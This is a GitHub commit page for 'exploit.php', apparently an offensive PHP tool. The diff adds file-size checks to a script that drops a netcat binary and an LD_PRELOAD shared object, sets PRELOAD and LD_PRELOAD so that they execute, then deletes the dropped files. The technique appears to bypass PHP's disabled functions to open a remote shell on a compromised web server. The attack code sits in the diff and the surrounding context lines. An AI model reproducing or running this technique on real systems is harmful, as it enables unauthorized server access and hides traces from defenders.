Skip to content

Commit

Permalink
check shared object before execution
Browse files Browse the repository at this point in the history
  • Loading branch information
Cvar1984 committed Aug 9, 2024
1 parent 5c697c2 commit b1dd024
Showing 1 changed file with 12 additions and 1 deletion.
13 changes: 12 additions & 1 deletion exploit.php
Original file line number Diff line number Diff line change
Expand Up @@ -40,6 +40,17 @@ function unpack_object($object)
file_put_contents('x64_nc', $gs_ncat_bin_x64);
chmod('x64_nc', 0755);

// check object
if (filesize($absolute_path . '/x64.so') == 0) {
die('Unable to put shared object please compile and place it manually');
}
if (filesize($absolute_path . '/x64_nc') == 0) {
die('Unable to put elf please compile and place it manually');
}
if (filesize($absolute_path . '/.env-gs') == 0) {
die('Unable to put environment please do it manually');
}

// set environment variables
putenv(sprintf('PRELOAD=%s', $absolute_path . '/x64_nc'));
putenv(sprintf('LD_PRELOAD=%s', $absolute_path . '/x64.so'));
Expand All @@ -61,6 +72,6 @@ function unpack_object($object)
// cleanup
sleep(3);

unlink($absolute_path . '/x64_nc');
unlink($absolute_path . '/x64.so');
unlink($absolute_path . '/x64_nc');
unlink($absolute_path . '/.env-gs');

0 comments on commit b1dd024

Please sign in to comment.